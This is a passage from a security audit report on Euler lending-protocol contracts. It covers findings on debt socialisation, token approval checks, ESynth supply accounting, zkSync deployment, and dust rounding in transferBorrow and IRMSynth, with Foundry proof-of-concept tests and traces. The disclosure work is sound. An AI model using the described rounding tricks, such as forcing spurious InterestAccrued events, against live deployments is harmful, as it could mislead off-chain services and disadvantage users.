        rate = BASE_RATE;
    } else if (rate > MAX_RATE) {
        rate = MAX_RATE;
    }

    return (rate, updated);
}
```

As a result it will incorrectly raise the rate instead of doing nothing in described scenario. Want to note that Euler is modular protocol and although current oracle implementations cannot return 0, IRMSynth is supposed to work with any oracle implementation.

Recommendation:

```
  uint256 quote = oracle.getQuote(quoteAmount, synth, referenceAsset);
+ if (quote == 0) return (rate, updated);
```

3.1.8 Bad debt will not be socialised in certain edge case

Submitted by T1MOH, also found by Audittens

Severity: Low Risk

Context: Liquidation.sol#L79-L92

Description: In the end of liquidation it socializes debt when liquidatee doesn't have any liquidateable collateral and still has debt:

```
function executeLiquidation(VaultCache memory vaultCache, LiquidationCache memory liqCache, uint256
↪  minYieldBalance)
    private
{
    // ...

    // Handle debt socialization

    if (
        vaultCache.configFlags.isNotSet(CFG_DONT_SOCIALIZE_DEBT) && liqCache.liability > liqCache.repay
            && checkNoCollateral(liqCache.violator, liqCache.collaterals) // <<<
    ) {
        Assets owedRemaining = liqCache.liability.subUnchecked(liqCache.repay);
        decreaseBorrow(vaultCache, liqCache.violator, owedRemaining);

        // decreaseBorrow emits Repay without any assets entering the vault. Emit Withdraw from and to zero
↪  address
        // to cover the missing amount for offchain trackers.
        emit Withdraw(liqCache.liquidator, address(0), address(0), owedRemaining.toUint(), 0);
        emit DebtSocialized(liqCache.violator, owedRemaining.toUint());
    }

    // ...
}
```

Let's take a look on what parameters liquidator submits to perform liquidation, here are sanity checks:

```
function calculateLiquidation(
    VaultCache memory vaultCache,
    address liquidator,
    address violator,
    address collateral,
    uint256 desiredRepay
) private view returns (LiquidationCache memory liqCache) {
    // ...

    // Checks

    // Same account self-liquidation is not allowed
    if (liqCache.violator == liqCache.liquidator) revert E_SelfLiquidation();
    // Only liquidate trusted collaterals to make sure yield transfer has no side effects.
    if (!isRecognizedCollateral(liqCache.collateral)) revert E_BadCollateral(); // <<<
    // Verify this vault is the controller for the violator
    validateController(liqCache.violator);
    // Violator must have enabled the collateral to be transferred to the liquidator
    if (!isCollateralEnabled(liqCache.violator, liqCache.collateral)) revert E_CollateralDisabled(); // <<<
    // Violator's health check must not be deferred, meaning no prior operations on violator's account
    // would possibly be forgiven after the enforced collateral transfer to the liquidator
    if (isAccountStatusCheckDeferred(violator)) revert E_ViolatorLiquidityDeferred();
    // A cool off time must elapse since successful account status check in order to mitigate self-liquidation
    // attacks
    if (isInLiquidationCoolOff(violator)) revert E_LiquidationCoolOff();

    // ...
}
```

So to perform liquidation, liquidated asset must be recognised to liquidate and be enabled by liquidatee in EVC. So to socialize bad debt user must have liquidateable enabled collateral. Here is the issue, there is the case when user has debt but don't have liquidateable enabled collateral. Suppose a scenario:

1. User deposits collateral XYZ.
2. User borrows asset against XYZ.
3. XYZ collateral is acknowledged to contain critical vulnerability, as a result it was immediately removed via `Governance.clearLTV`:

```
    /// @inheritdoc IGovernance
    /// @dev When LTV configuration is cleared, attempt to liquidate the collateral will revert.
    /// Clearing should only be executed when the collateral is found to be unsafe to liquidate,
    /// because e.g. it does external calls on transfer, which would be a critical security threat.
    function clearLTV(address collateral) public virtual nonReentrant governorOnly {
        uint16 originalLTV = getLTV(collateral, true).toUint16();
        vaultStorage.ltvLookup[collateral].clear();

        emit GovSetLTV(collateral, 0, 0, originalLTV, 0, 0, false);
    }
```

Now user has the only worthless non-liquidateable collateral and debt. As a result, this bad debt can't be socialized because liquidation can't be executed because of those sanity checks in `Liquidation.calculateLiquidation()`.

Recommendation: Introduce method to socialize bad debt when user doesn't have liquidateable enabled collateral.

3.1.9 Protocol socializes more bad debt than it could do favouring position owner

Submitted by T1MOH

Severity: Low Risk

Context: Liquidation.sol#L215-L216

Description: Liquidation module socializes bad debt when account doesn't have any liquidateable collateral. It decreases the totalBorrows by remaining account's debt. By design all the depositors share this loss because `totalBorrows` and hence `totalAssets` is decreased.

```
function executeLiquidation(VaultCache memory vaultCache, LiquidationCache memory liqCache, uint256
↪  minYieldBalance)
    private
{
    // ...

    // Handle debt socialization

    if (
        vaultCache.configFlags.isNotSet(CFG_DONT_SOCIALIZE_DEBT) && liqCache.liability > liqCache.repay
            && checkNoCollateral(liqCache.violator, liqCache.collaterals) // <<<
    ) {
        Assets owedRemaining = liqCache.liability.subUnchecked(liqCache.repay);
        decreaseBorrow(vaultCache, liqCache.violator, owedRemaining); // <<<

        // decreaseBorrow emits Repay without any assets entering the vault. Emit Withdraw from and to zero
↪   address
        // to cover the missing amount for offchain trackers.
        emit Withdraw(liqCache.liquidator, address(0), address(0), owedRemaining.toUint(), 0);
        emit DebtSocialized(liqCache.violator, owedRemaining.toUint());
    }

    // ...
}
```

However it doesn't take into consideration liquidatee's balance during liquidation, here's an issue because protocol assumes it's 0 and doesn't reduce. Suppose following scenario:

1. User has: collateral = 100; LTV = 0.8; borrowed = 120; shares = 40. For simplicity assume shares == assets.
2. Position is liquidateable because `100 * 0.8 < 120`, therefore user can't move his shares - in the end of every transfer status check is executed.
3. Liquidation is executed. `discountFactor = 100 * 0.8 / 120 = 0.66`, so liquidator receives 100 collateral and repays `debt = 100 * 0.66 = 66`.
4. As a result `debt = 120 - 66 = 54` will be socialized.
5. Issue is that it must firstly reduce bad debt by user's balance `shares = 40` and socialize only `54 - 40 = 14` debt between depositors.

Recommendation: Convert user's balance of Controller shares to assets and deduct it from bad debt in the end of liquidation, and socialize bad debt only if it remains after such a deduction.

3.1.10 `EVault` introduces strange checks which makes it a weird token

Submitted by T1MOH

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: There are 2 checks non-defined by EIP-20 which are performed:

1. Self transfer is prohibited:

```
  function transferFromInternal(address account, address from, address to, Shares shares) private returns
↪  (bool) {
      if (from == to) revert E_SelfTransfer(); // <<<

      decreaseAllowance(from, account, shares);
      transferBalance(from, to, shares);

      return true;
  }
```

2. Self approve is prohibited:

```
  function setAllowance(address owner, address spender, uint256 amount) internal {
      if (spender == owner) revert E_SelfApproval(); // <<<

      vaultStorage.users[owner].eTokenAllowance[spender] = amount;
      emit Approval(owner, spender, amount);
  }
```

At least in 2nd case there is no point to Euler in banning self approval. On the contrary these requirements can introduce DoS in integration protocol where for example contract always give approve to spender and for some reason becomes spender. And according to that requirement contract becomes subject to DoS.

Recommendation: Allow self transfer and self approval to reduce potential issues in integration.

3.1.11 Consider adding `address(this)` balance to ignored supply in `ESynth`

Submitted by T1MOH, also found by Anurag Jain

Severity: Low Risk

Context: ESynth.sol#L104-L118

Description: `ESynth` is supposed to work as follows: owner mints tokens to `address(this)` and then deposits to EVault via `allocate`. Then a user can withdraw tokens via `deallocate()` and burn from `address(this)`.

Additionally, `totalSupply` of ESynth should reflect only tokens cicrulation and backed by any collateral:

> Since protocol deposits into synthetic vaults are not backed by any collateral and are not in circulation they are excluded from the totalSupply calculation. After calling `allocate()`, target vaults are automatically excluded. Additional addresses whose balances should be ignored can be managed by the owner by calling `addIgnoredForTotalSupply(address account)` and `removeIgnoredForTotalSupply(address account)`.

Therefore during allocation EVaujlt is added to `ignoredTotalSupply`:

```
function allocate(address vault, uint256 amount) external onlyOwner {
    if (IEVault(vault).EVC() != address(evc)) {
        revert E_NotEVCCompatible();
    }
    ignoredForTotalSupply.add(vault); // <<<
    _approve(address(this), vault, amount, true);
    IEVault(vault).deposit(amount, address(this));
}
```

Issue is that before allocation and after deallocation `address(this)` contains tokens which are not in circulation and not backed by any collateral, therefore they should be subtracted from totalSupply.

Recommendation: Make `address(this)` ignored for totalSupply:

```
  constructor(IEVC evc_, string memory name_, string memory symbol_)
      ERC20Collateral(evc_, name_, symbol_)
-     Ownable(msg.sender)
- {}
+     Ownable(msg.sender) {
+         ignoredForTotalSupply.add(address(this));
+ }
```

3.1.12 `DeployMetaProxy` is incompatible with zkSync, using create opcode which works differently on zkSync chain

Submitted by 0xTheBlackPanther

Severity: Low Risk

Context: MetaProxyDeployer.sol#L20-L28

Description: According to the zkSync docs, for create and create2 functions to operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance. Otherwise, create cannot be used for arbitrary code unknown to the compiler.

Since the `deployMetaProxy` function utilizes bytecode that includes a payload specified by the proxy creator, the exact contents of this bytecode are not statically known. As a result, it is likely incompatible with zkSync.

Impact: `deployMetaProxy` will not work on the zkSync chain.

Recommendation: This can be solved by implementing `CREATE2` directly and using `type(MyContract).creationCode` as mentioned in the zkSync Era docs.

3.1.13 Dust clean in `transferBorrow()` could lead to accounting errors

Submitted by mt030d

Severity: Low Risk

Context: BorrowUtils.sol#L174-L176, BorrowUtils.sol#L75, BorrowUtils.sol#L80-L86, BorrowUtils.sol#L98, Borrowing.sol#L131-L144, Liquidation.sol#L101-L111, Liquidation.sol#L184, Liquidation.sol#L46

Description: The `transferBorrow()` internal function is used by the `pullDebt()` and `liquidate()` functions to handle debt transfers.

```
// If amount was rounded up, or dust is left over, transfer exact amount owed
if (
    (amount > fromOwed && amount.subUnchecked(fromOwed).isDust())
        || (amount < fromOwed && fromOwed.subUnchecked(amount).isDust())
) {
    amount = fromOwed;
}
```

If the inputed `assets` parameter is a dust amount less than the `fromOwed` debt, then the actual transferred debt, `amount`, is set to `fromOwed`. This dust clean feature might be designed for user convenience. However, this feature causes accounting errors for both the caller and the function itself. Let's explain them in detail below:

1. Dust Clean Feature Could Cause Liquidators to Get Less Yield

```
function liquidate(address violator, address collateral, uint256 repayAssets, uint256 minYieldBalance)
```

```
if (desiredRepay != type(uint256).max) {
    uint256 maxRepay = liqCache.repay.toUint();
    if (desiredRepay > maxRepay) revert E_ExcessiveRepayAmount();

    if (maxRepay > 0) {
        liqCache.yieldBalance = desiredRepay * liqCache.yieldBalance / maxRepay;
        liqCache.repay = desiredRepay.toAssets();
    }
}
```

```
transferBorrow(vaultCache, liqCache.violator, liqCache.liquidator, liqCache.repay);
```

```
function transferBorrow(VaultCache memory vaultCache, address from, address to, Assets assets) internal
↪  virtual {
```

During a `liquidate()` call, `transferBorrow()` transfers the same amount of debt when the input `assets` parameter is either the violator's liability rounded up or a dust amount less than the liability. In these scenarios, however, `liquidate()` will produce different `yieldBalances`.

For example, if the violator has 100.5 asset units of liability and enough collateral for liquidation, the liquidator can use either 101 or 100 as the `repayAssets` parameter in the `liquidate()` function. `transferBorrow()` will transfer the violator's total 100.5 liability either way. However, since `liquidate()` calculates the `yieldBalance` based on `repay`, it will get less `yieldBalance` if `repay` is 100 instead of 101 (see proof of concept `A` for a coded example).

Normally, when deciding the `repayAssets` amount, the liquidator would uses the `maxRepay` value returned by `checkLiquidation()`, which is a rounded-up number (similar to the 101 case above). However, there is a delay between when a `liquidate()` transaction is sent and when it is executed on-chain. Interest could accrue during this period, making the previous `maxRepay` value a rounded-down number to the violator's liability (similar to the 100 case above). As a result, the liquidator gets less yield from liquidation.

2. Dust Clean Feature Could Cause Users to Pull More Debt Than Specified Continuing with the 100 vs. 101 `repayAssets` example, when the liquidator specifies 100 as the `repayAssets`, they expect the pulled debt to be no more than this amount. However, the actual pulled debt, 100.5 asset units, exceeds the specified amount. In other word, the liquidator pulls more debt than they specified during liquidation.

```
function pullDebt(uint256 amount, address from) public virtual nonReentrant returns (uint256) {
```

The same issue applies to the `pullDebt()` function. When the user specifies the `amount` parameter in `pullDebt()`, they expect to pull no more than `amount` debt. However, they could pull `amount + dust` debt, (or see a `amount + 1` increase in `debtOf()`) contrary to their expectations.

Moreover, the return value of the `pullDebt()` function will also be `amount`, which is a dust amount less than the actual pulled debt. This could cause issues for contracts integrating the vault.

For example, if a liquidity manager contract is built on EVault and updates its internal accounting of debt based on the return value from `IEvault(vault).pullDebt()`:

```
contract LiquidityManager {
    uint256 debt;
    // ...snip...

    function SomeOperation() external {
        // ...snip...

        uint256 pulledDebt = IEvault(vault).pullDebt(amount, from);
        debt += pulledDebt;

        // ...snip...
    }
}
```

Then its internal accounting of debt could be incorrect (less than the actual pulled debt), leading to unexpected vulnerabilities.

3. Dust Clean Feature Could Cause Negative Interest Calculation in `logRepay`

Within `transferBorrow()`, when `amount` is a dust amount less than `fromOwed`, the `amount` is set to `fromOwed`. However, the original `assets` parameter, which is dust amount less than the repaid `amount`, is passed into the `logRepay` function. As a result, the interest calculated in `logRepay` could be -1.

Because an unchecked subtraction is used in `logRepay`, an interest of "-1" will wrap around and become "type(uint112).max".

Consequently, an `InterestAccrued(account, type(uint112).max)` event will be emitted when it shouldn't (see proof of concept `B`).

An event with this large logged value (type(uint112).max) could disrupt off-chain logging services. If the logging services perform calculations based on the logged value from the `InterestAccrued()` event, this unexpected event could disrupt the results, or even worse, might cause a DOS on the logging services. Also note that an attacker could intentionally trigger this event for any account that has dust amount in their liability.

Proof of concept:

- Proof of concept `A`

```
// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.0;

import {EVaultTestBase} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import "forge-std/console.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    address depositor = makeAddr("depositor");
    address borrower = makeAddr("borrower");
    address liquidator = makeAddr("liquidator");

    function setUp() public override {
        super.setUp();

        vm.label(address(eTST), "eTST");
        vm.label(address(assetTST), "assetTST");

        // setup
        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(eTST2), unitOfAccount, 1e18);

        eTST.setLTV(address(eTST2), 9e3, 9e3, 0);

        // depositor
        vm.startPrank(depositor);
        assetTST.mint(depositor, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(100e18, depositor);
        vm.stopPrank();

        // borrower
        vm.startPrank(borrower);
        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);

        eTST2.deposit(10e13, borrower);
        evc.enableCollateral(borrower, address(eTST2));
        evc.enableController(borrower, address(eTST));

        eTST.borrow(5e13, borrower);

        uint256 liquidatorCollatoralAmount = 100e13;
        assetTST2.transfer(liquidator, liquidatorCollatoralAmount);
        vm.stopPrank();

        // liquidator
        vm.startPrank(liquidator);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(liquidatorCollatoralAmount, liquidator);
```

```
        evc.enableCollateral(liquidator, address(eTST2));
        evc.enableController(liquidator, address(eTST));
        vm.stopPrank();
    }

    function test_POC() external {
        console.log("Initial Stats:");
        uint256 borrowerInitialCollateral = eTST2.balanceOf(borrower);

        // accrue dust in debt
        skip(1);

        uint256 liability = eTST.debtOf(borrower);
        console.log("   borrower liability           %d", liability);

        // change price to make borrower's position liquidatable
        uint256 price = 0.555555e18;
        oracle.setPrice(address(eTST2), unitOfAccount, price);

        (uint256 maxRepay, uint256 maxYield) = eTST.checkLiquidation(liquidator, borrower,
↪  address(eTST2));
        console.log("   liquidator maxRepay          %d", maxRepay);
        console.log("   liquidator maxYield          %d", maxYield);
        console.log("");

        uint256 snapshot = vm.snapshot();
        console.log("Scenario1 - liquidate maxRepay");
        vm.startPrank(liquidator);
        eTST.liquidate(borrower, address(eTST2), maxRepay, 0);
        console.log("   liquidator seized collateral %d", borrowerInitialCollateral -
↪  eTST2.balanceOf(borrower));
        console.log("   liquidator pulled debt       %d", eTST.debtOf(liquidator));
        console.log("   liquidator pulled debtExact  %x", eTST.debtOfExact(liquidator));
        console.log("   borrower remaining debt      %d", eTST.debtOf(borrower));
        console.log("");
        vm.stopPrank();

        vm.revertTo(snapshot);
        console.log("Scenario2 - liquidate maxRepay-1");
        vm.startPrank(liquidator);
        eTST.liquidate(borrower, address(eTST2), maxRepay - 1, 0);
        console.log("   liquidator seized collateral %d", borrowerInitialCollateral -
↪  eTST2.balanceOf(borrower));
        console.log("   liquidator pulled debt       %d", eTST.debtOf(liquidator));
        console.log("   liquidator pulled debtExact  %x", eTST.debtOfExact(liquidator));
        console.log("   borrower remaining debt      %d", eTST.debtOf(borrower));
        console.log("");
        vm.stopPrank();
    }
}
```

Run the proof of concept using the following command:

```
forge test --mt POC -vv
```

The logs are as follows:

```
Logs:
Initial Stats:
    borrower liability           50000000000001
    liquidator maxRepay          50000000000001
    liquidator maxYield          90000180000273

Scenario1 - liquidate maxRepay
    liquidator seized collateral 90000180000273
    liquidator pulled debt       50000000000001
    liquidator pulled debtExact  0x16bcc41e900013534747
    borrower remaining debt      0

Scenario2 - liquidate maxRepay-1
    liquidator seized collateral 90000180000271
    liquidator pulled debt       50000000000001
    liquidator pulled debtExact  0x16bcc41e900013534747
    borrower remaining debt      0
```

As seen from the above result, in scenario2, the liquidator gets 2 less yield (90000180000273 - 90000180000271), while pulling the same debt.

- Proof of concept B

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console.sol";

import {EVaultTestBase, EVault} from "./EVaultTestBase.t.sol";
import "../../../src/EVault/shared/types/Types.sol";
import "../../../src/EVault/shared/Constants.sol";
import "../../../src/EVault/shared/Events.sol";

contract POC_Test is EVaultTestBase {
    using TypesLib for uint256;

    event InterestAccrued(address indexed account, uint256 assets);

    address depositor = makeAddr("depositor");
    address borrower = makeAddr("borrower");
    address borrower2 = makeAddr("borrower_2");

    function setUp() public override {
        super.setUp();

        depositor = makeAddr("depositor");
        borrower = makeAddr("borrower");
        borrower2 = makeAddr("borrower_2");

        // Setup

        oracle.setPrice(address(assetTST), unitOfAccount, 1e18);
        oracle.setPrice(address(assetTST2), unitOfAccount, 1e18);

        eTST.setLTV(address(eTST2), 0.9e4, 0.9e4, 0);

        // Depositor

        startHoax(depositor);

        assetTST.mint(depositor, type(uint256).max);
        assetTST.approve(address(eTST), type(uint256).max);
        eTST.deposit(100e18, depositor);

        // Borrower

        startHoax(borrower);

        assetTST2.mint(borrower, type(uint256).max);
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(10e18, borrower);

        evc.enableCollateral(borrower, address(eTST2));
        evc.enableController(borrower, address(eTST));

        eTST.borrow(5e18, borrower);
        assertEq(assetTST.balanceOf(borrower), 5e18);

        // transfering some minted asset to borrower2
        assetTST2.transfer(borrower2, 10e18);
        vm.stopPrank();

        startHoax(borrower2);

        // deposit into eTST2 to cover the liability from pullDebt
        assetTST2.approve(address(eTST2), type(uint256).max);
        eTST2.deposit(10e18, borrower2);

        evc.enableCollateral(borrower2, address(eTST2));
        evc.enableController(borrower2, address(eTST));
        vm.stopPrank();
    }

    function test_POC() external {
```

```
            // accrue some interest so that there is dust in the owed
            skip(1 days);

            // borrow 1 wei so that user's interestAccumulator is updated
            startHoax(borrower);
            eTST.borrow(1, borrower);
            startHoax(borrower2);
            eTST.borrow(1, borrower2);
            // In the following TXs, the prevOwed from loadUserBorrow() should be equal to owed
            // therefore, InterestAccrued event should not be emitted, but it nevertheless does.

            uint256 currDebt = eTST.debtOf(borrower);

            // check that the unexpected InterestAccrued event is emitted
            vm.expectEmit();
            emit InterestAccrued(borrower, type(uint112).max);
            eTST.pullDebt(currDebt - 1, borrower);

            assertEq(eTST.debtOf(borrower), 0);
        }
    }
```

The above proof of concept demonstrated that the `pullDebt` operation can emit an unexpected `InterestAccrued(_, type(uint112).max)` event.

Firstly, we use `skip(1 days)` to accrue a small amount of dust in the borrower's owed debt.

Secondly, we borrow 1 wei for both the borrower and the repayer (i.e., borrower2) to update their `interestAccumulator`. This results in the `owed` and `owedPrev` values returned from `loadUserBorrow` being the same. Thus in this case, the subsequent `pullDebt` operation shouldn't emit the `InterestAccrued` event.

Then, we call `eTST.pullDebt(currDebt - 1, borrower)`. This should have the same effect as `eTST.pullDebt(currDebt, borrower)` or `eTST.pullDebt(type(uint256).max, borrower)`. However, as show in the POC, it emits an unexpected `InterestAccrued(borrower, type(uint112).max)` event.

Recommendation: Compared to the convenience it brings to the user, the dust clean feature seems to cause more harm to the codebase.

It is recommended to remove this feature:

```
- // If amount was rounded up, or dust is left over, transfer exact amount owed
+ // If amount was rounded up, transfer exact amount owed
  if (
      (amount > fromOwed && amount.subUnchecked(fromOwed).isDust())
-         || (amount < fromOwed && fromOwed.subUnchecked(amount).isDust())
  ) {
      amount = fromOwed;
  }
```

3.1.14 `IRMSynth.sol` - L91-L94: Failure to account for case `quote == targetQuote` risks incorrect interest rate calculations for synthetic tokens

Submitted by 0xSCSamurai, also found by T1MOH and XDZIBECX

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `_computeRate()` function fails to accommodate for the case when `quote == targetQuote`, and instead it currently bundles this case together with case `quote > targetQuote`, which I think is a mistake that risks incorrect rate calculations, as demonstrated by my first two proof of concept tests.

Tests were run differing mostly in a conditional statement `} else {` vs. `} else if (quote > targetQuote) {`.

Impact: High → incorrect interest rate calculations.

Likelihood: Medium-high → definitely not a low chance for reaching a scenario where `quote == targetQuote`.

- Incorrect interest rate calculations risk whenever `quote == targetQuote`.
- Passing `if` check on L97, `rate < BASE_RATE`, will be a more likely outcome due to decrease in rate on L93... But generally the more regular outcome would be within the min and max range but still a LOWER rate than it would have been without this bug...
- The bytecode size was smaller in the tests using `} else if (quote > targetQuote) {`, around 109 bytes of code smaller.
- Gas consumption was also lower in the tests using `} else if (quote > targetQuote) {`, around 211 less gas consumed.

Proof of concept:

The buggy function under scrutiny:

- Due to complexities/nuances introduced by the existing protocol test(s) I made some modifications to the below contract function to accommodate my proof of concept tests, in order to filter out the noise and get to the actual bug and what it actually does.
- The timestamp check was commented out to eliminate some interference I had with my test results, as I didnt want to spend time modifying the existing tests to accommodate my efforts.

```
function _computeRate(IRMData memory irmCache) internal view returns (uint216 rate, bool updated) {
    updated = false;
    rate = irmCache.lastRate;
    rate = BASE_RATE * 2; /// @audit added for PoC/testing purposes

    // If not time to update yet, return the last rate
    // if (block.timestamp < irmCache.lastUpdated + ADJUST_INTERVAL) {
    //     return (rate, updated);
    // }

    uint256 quote = oracle.getQuote(quoteAmount, synth, referenceAsset);
    quote = targetQuote; /// @audit added for PoC/testing purposes

    updated = true;

    if (quote < targetQuote) {
        // If the quote is less than the target, increase the rate
        rate = rate * ADJUST_FACTOR / ADJUST_ONE;
    } else { /// @audit-issue the bug
    //} else if (quote > targetQuote) { /// @audit added for PoC/testing purposes >>> bugfix line commented
↪   out for testing purposes
        // If the quote is greater than the target, decrease the rate
        rate = rate * ADJUST_ONE / ADJUST_FACTOR;
    }

    // Apply the min and max rates
    if (rate < BASE_RATE) {
        rate = BASE_RATE;
    } else if (rate > MAX_RATE) {
        rate = MAX_RATE;
    }

    return (rate, updated);
}
```

Tests:

- The first test result is with the bug, and the second test result is WITHOUT the bug, i.e. with the bugfix added and active.
- The lower bytecode count and lower gas consumption are the secondary benefits after removing the bug.
- The primary benefit is correct interest rate calculations...

I used several existing protocol tests, but to specifically demonstrate/prove the bug, I used the following existing test and just commented out whatever interfered unnecessarily with my efforts:

```
function test_computeInterestRateView() public {
    oracle.setPrice(synth, REFERENCE_ASSET, irm.targetQuote() / 2);

    uint256 rate = irm.computeInterestRateView(address(0), 0, 0);
    irm.computeInterestRate(address(0), 0, 0);
    IRMSynth.IRMData memory irmData = irm.getIRMData();

    //assertEq(rate, irmData.lastRate);

    skip(irm.ADJUST_INTERVAL());
    rate = irm.computeInterestRateView(address(0), 0, 0);
    irmData = irm.getIRMData();

    //assertNotEq(rate, irmData.lastRate);

    irm.computeInterestRate(address(0), 0, 0);
    irmData = irm.getIRMData();

    //assertEq(rate, irmData.lastRate);
}
```

The below two test results directly show the consequences of what I believe is indeed a bug, unless I'm missing some key details about how this protocol works...

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv`
  - using `rate = BASE_RATE * 2;`, as `lastRate`.
  - using `quote = targetQuote;`.
  - using `} else {`.

  Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
[PASS] test_computeInterestRateView() (gas: 55613)
Traces:
[1130408] IRMSynthTest::setUp()
    [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
      ← [Return] 133 bytes of code
    [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
      ← [Return] 2266 bytes of code
    [23500] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 1000000000000000000 [1e18])
      [104] MockDecimals::asset() [staticcall]
        ← [Revert] EvmError: Revert
      ← [Stop]
    [452190] → new IRMSynth@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
      [279] MockDecimals::decimals() [staticcall]
        ← [Return] 18
      [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        [104] MockDecimals::asset() [staticcall]
          ← [Revert] EvmError: Revert
        ← [Return] 1000000000000000000 [1e18]
      ← [Return] 2123 bytes of code
    ← [Stop]

[55613] IRMSynthTest::test_computeInterestRateView()
    [251] IRMSynth::targetQuote() [staticcall]
      ← [Return] 1000000000000000000 [1e18]
    [8900] MockPriceOracle::setPrice(MockDecimals: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f],
↪  referenceAsset: [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569], 500000000000000000 [5e17])
      [104] MockDecimals::asset() [staticcall]
        ← [Revert] EvmError: Revert
      ← [Stop]
```

```
      [6283] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
         [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            ← [Return] 500000000000000000 [5e17]
         ← [Return] 288079440971013007 [2.88e17]
      [7305] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
         [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            ← [Return] 500000000000000000 [5e17]
         ← [Return] 288079440971013007 [2.88e17]
      [527] IRMSynth::getIRMData() [staticcall]
         ← [Return] IRMData({ lastUpdated: 1, lastRate: 288079440971013007 [2.88e17] })
      [227] IRMSynth::ADJUST_INTERVAL() [staticcall]
         ← [Return] 3600
      [0] VM::warp(3601)
         ← [Return]
      [4283] IRMSynth::computeInterestRateView(0x0000000000000000000000000000000000000000, 0, 0)
↪  [staticcall]
         [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            ← [Return] 500000000000000000 [5e17]
         ← [Return] 288079440971013007 [2.88e17]
      [527] IRMSynth::getIRMData() [staticcall]
         ← [Return] IRMData({ lastUpdated: 1, lastRate: 288079440971013007 [2.88e17] })
      [4505] IRMSynth::computeInterestRate(0x0000000000000000000000000000000000000000, 0, 0)
         [2520] MockPriceOracle::getQuote(1000000000000000000 [1e18], MockDecimals:
↪  [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], referenceAsset:
↪  [0x0D3a04464AAa4f897358Ae1a0Eb258c14e88F569]) [staticcall]
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            [104] MockDecimals::asset() [staticcall]
               ← [Revert] EvmError: Revert
            ← [Return] 500000000000000000 [5e17]
         ← [Return] 288079440971013007 [2.88e17]
      [527] IRMSynth::getIRMData() [staticcall]
         ← [Return] IRMData({ lastUpdated: 3601, lastRate: 288079440971013007 [2.88e17] })
      ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 705.85µs (153.42µs CPU time)

Ran 1 test suite in 1.11s (705.85µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

  - `[Return] IRMData({ lastUpdated: 3601, lastRate: 288079440971013007 [2.88e17] })`

- `forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv`
  - using `rate = BASE_RATE * 2;`, as `lastRate`.
  - using `quote = targetQuote;`.
  - using `} else if (quote > targetQuote) {`.

Test result:

```
$ forge test --contracts test/unit/irm/IRMSynth.t.sol --mt test_computeInterestRateView -vvvvv
[] Compiling...
No files changed, compilation skipped

Ran 1 test for test/unit/irm/IRMSynth.t.sol:IRMSynthTest
```

```
  [PASS] test_computeInterestRateView() (gas: 54693)
  Traces:
  [1122596] IRMSynthTest::setUp()
       [48994] → new MockDecimals@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
          ← [Return] 133 bytes of code
       [453686] → new MockPriceOracle@0x2e234DAe75C793f67A35089C9d99245E1C58470b
          ← [Return] 2266 bytes of code
